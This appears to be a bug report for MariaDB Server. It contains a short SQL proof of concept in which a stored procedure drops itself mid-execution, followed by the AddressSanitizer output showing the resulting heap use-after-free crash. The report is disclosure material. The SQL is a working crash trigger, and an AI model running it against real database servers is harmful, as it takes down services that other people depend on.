MariaDB Server Heap Use-After-Free Triggered by Self-Dropping Stored Procedure

POC：

CREATE DATABASE IF NOT EXISTS t1;

USE t1;

DROP PROCEDURE IF EXISTS t2;

DELIMITER $$

CREATE PROCEDURE t2()

BEGIN

  SET @t1 = 'DROP PROCEDURE t2';

  PREPARE t3 FROM @t1;

  EXECUTE t3;

  DEALLOCATE PREPARE t3;

  SELECT 1 AS t4;

END$$

DELIMITER ;

CALL t2();

SELECT 't5' AS t5;

DROP DATABASE IF EXISTS t1;

asan report：
=================================================================
==1==ERROR: AddressSanitizer: heap-use-after-free on address 0x525000343fd8 at pc 0x6117458e0957 bp 0x6f3079458750 sp 0x6f3079458748
READ of size 8 at 0x525000343fd8 thread T12
==1==WARNING: invalid path to external symbolizer!
==1==WARNING: Failed to use and restart external symbolizer!
#0 0x6117458e0956 (/usr/local/mariadb/bin/mariadbd+0x10cc956) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#1 0x6117458ded7e (/usr/local/mariadb/bin/mariadbd+0x10cad7e) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#2 0x6117458d8c98 (/usr/local/mariadb/bin/mariadbd+0x10c4c98) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#3 0x6117458d84ae (/usr/local/mariadb/bin/mariadbd+0x10c44ae) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#4 0x61174586c727 (/usr/local/mariadb/bin/mariadbd+0x1058727) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#5 0x611745d90316 (/usr/local/mariadb/bin/mariadbd+0x157c316) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#6 0x611745d8a1f5 (/usr/local/mariadb/bin/mariadbd+0x15761f5) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#7 0x611745d8b7cc (/usr/local/mariadb/bin/mariadbd+0x15777cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#8 0x611745d8efd2 (/usr/local/mariadb/bin/mariadbd+0x157afd2) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#9 0x611745655721 (/usr/local/mariadb/bin/mariadbd+0xe41721) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#10 0x61174565917d (/usr/local/mariadb/bin/mariadbd+0xe4517d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#11 0x61174586624d (/usr/local/mariadb/bin/mariadbd+0x105224d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#12 0x611745865919 (/usr/local/mariadb/bin/mariadbd+0x1051919) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#13 0x6117458690fa (/usr/local/mariadb/bin/mariadbd+0x10550fa) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#14 0x61174585fb4b (/usr/local/mariadb/bin/mariadbd+0x104bb4b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#15 0x61174585a783 (/usr/local/mariadb/bin/mariadbd+0x1046783) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#16 0x61174586078d (/usr/local/mariadb/bin/mariadbd+0x104c78d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#17 0x611745c068cc (/usr/local/mariadb/bin/mariadbd+0x13f28cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#18 0x611745c06417 (/usr/local/mariadb/bin/mariadbd+0x13f2417) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#19 0x61174671934b (/usr/local/mariadb/bin/mariadbd+0x1f0534b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#20 0x6117454f6978 (/usr/local/mariadb/bin/mariadbd+0xce2978) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#21 0x77309d982aa3 (/lib/x86_64-linux-gnu/libc.so.6+0x9caa3) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#22 0x77309da0fa63 (/lib/x86_64-linux-gnu/libc.so.6+0x129a63) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)

0x525000343fd8 is located 3800 bytes inside of 8192-byte region [0x525000343100,0x525000345100)
freed by thread T12 here:
#0 0x6117454f8ba6 (/usr/local/mariadb/bin/mariadbd+0xce4ba6) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#1 0x611746e4aaf4 (/usr/local/mariadb/bin/mariadbd+0x2636af4) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#2 0x61174564f517 (/usr/local/mariadb/bin/mariadbd+0xe3b517) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#3 0x611746e18afe (/usr/local/mariadb/bin/mariadbd+0x2604afe) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#4 0x61174564ca25 (/usr/local/mariadb/bin/mariadbd+0xe38a25) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#5 0x61174563e9fc (/usr/local/mariadb/bin/mariadbd+0xe2a9fc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#6 0x61174564231f (/usr/local/mariadb/bin/mariadbd+0xe2e31f) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#7 0x611745878237 (/usr/local/mariadb/bin/mariadbd+0x1064237) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#8 0x6117458691a4 (/usr/local/mariadb/bin/mariadbd+0x10551a4) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#9 0x6117458dfa91 (/usr/local/mariadb/bin/mariadbd+0x10cba91) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#10 0x6117458ded7e (/usr/local/mariadb/bin/mariadbd+0x10cad7e) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#11 0x6117458d8c98 (/usr/local/mariadb/bin/mariadbd+0x10c4c98) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#12 0x6117458d84ae (/usr/local/mariadb/bin/mariadbd+0x10c44ae) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#13 0x61174586c727 (/usr/local/mariadb/bin/mariadbd+0x1058727) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#14 0x611745d90316 (/usr/local/mariadb/bin/mariadbd+0x157c316) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#15 0x611745d8a1f5 (/usr/local/mariadb/bin/mariadbd+0x15761f5) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#16 0x611745d8b7cc (/usr/local/mariadb/bin/mariadbd+0x15777cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#17 0x611745d8efd2 (/usr/local/mariadb/bin/mariadbd+0x157afd2) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#18 0x611745655721 (/usr/local/mariadb/bin/mariadbd+0xe41721) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#19 0x61174565917d (/usr/local/mariadb/bin/mariadbd+0xe4517d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#20 0x61174586624d (/usr/local/mariadb/bin/mariadbd+0x105224d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#21 0x611745865919 (/usr/local/mariadb/bin/mariadbd+0x1051919) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#22 0x6117458690fa (/usr/local/mariadb/bin/mariadbd+0x10550fa) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#23 0x61174585fb4b (/usr/local/mariadb/bin/mariadbd+0x104bb4b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#24 0x61174585a783 (/usr/local/mariadb/bin/mariadbd+0x1046783) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#25 0x61174586078d (/usr/local/mariadb/bin/mariadbd+0x104c78d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#26 0x611745c068cc (/usr/local/mariadb/bin/mariadbd+0x13f28cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#27 0x611745c06417 (/usr/local/mariadb/bin/mariadbd+0x13f2417) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#28 0x61174671934b (/usr/local/mariadb/bin/mariadbd+0x1f0534b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#29 0x6117454f6978 (/usr/local/mariadb/bin/mariadbd+0xce2978) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)

previously allocated by thread T12 here:
#0 0x6117454f8e3f (/usr/local/mariadb/bin/mariadbd+0xce4e3f) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#1 0x611746e5f910 (/usr/local/mariadb/bin/mariadbd+0x264b910) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#2 0x611746e4a3a7 (/usr/local/mariadb/bin/mariadbd+0x26363a7) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#3 0x61174565c588 (/usr/local/mariadb/bin/mariadbd+0xe48588) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#4 0x611745ec194c (/usr/local/mariadb/bin/mariadbd+0x16ad94c) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#5 0x61174587b731 (/usr/local/mariadb/bin/mariadbd+0x1067731) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#6 0x61174563d8f1 (/usr/local/mariadb/bin/mariadbd+0xe298f1) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#7 0x61174563cd05 (/usr/local/mariadb/bin/mariadbd+0xe28d05) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#8 0x61174563c43d (/usr/local/mariadb/bin/mariadbd+0xe2843d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#9 0x611745648f76 (/usr/local/mariadb/bin/mariadbd+0xe34f76) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#10 0x611745648cf8 (/usr/local/mariadb/bin/mariadbd+0xe34cf8) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#11 0x6117456f8949 (/usr/local/mariadb/bin/mariadbd+0xee4949) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#12 0x6117456fd1ad (/usr/local/mariadb/bin/mariadbd+0xee91ad) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#13 0x6117458657de (/usr/local/mariadb/bin/mariadbd+0x10517de) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#14 0x6117458690fa (/usr/local/mariadb/bin/mariadbd+0x10550fa) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#15 0x61174585fb4b (/usr/local/mariadb/bin/mariadbd+0x104bb4b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#16 0x61174585a783 (/usr/local/mariadb/bin/mariadbd+0x1046783) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#17 0x61174586078d (/usr/local/mariadb/bin/mariadbd+0x104c78d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#18 0x611745c068cc (/usr/local/mariadb/bin/mariadbd+0x13f28cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#19 0x611745c06417 (/usr/local/mariadb/bin/mariadbd+0x13f2417) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#20 0x61174671934b (/usr/local/mariadb/bin/mariadbd+0x1f0534b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#21 0x6117454f6978 (/usr/local/mariadb/bin/mariadbd+0xce2978) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)

Thread T12 created by T0 here:
#0 0x6117454de9c1 (/usr/local/mariadb/bin/mariadbd+0xcca9c1) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#1 0x611746719630 (/usr/local/mariadb/bin/mariadbd+0x1f05630) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#2 0x611745548b68 (/usr/local/mariadb/bin/mariadbd+0xd34b68) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#3 0x6117455491e8 (/usr/local/mariadb/bin/mariadbd+0xd351e8) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#4 0x611745549b48 (/usr/local/mariadb/bin/mariadbd+0xd35b48) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#5 0x61174554768c (/usr/local/mariadb/bin/mariadbd+0xd3368c) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#6 0x61174553e750 (/usr/local/mariadb/bin/mariadbd+0xd2a750) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#7 0x77309d9101c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#8 0x77309d91028a (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#9 0x61174545fe24 (/usr/local/mariadb/bin/mariadbd+0xc4be24) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)

SUMMARY: AddressSanitizer: heap-use-after-free (/usr/local/mariadb/bin/mariadbd+0x10cc956) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
Shadow bytes around the buggy address:
0x525000343d00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x525000343d80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x525000343e00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x525000343e80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x525000343f00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x525000343f80: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
0x525000344000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x525000344080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x525000344100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x525000344180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x525000344200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1==ABORTING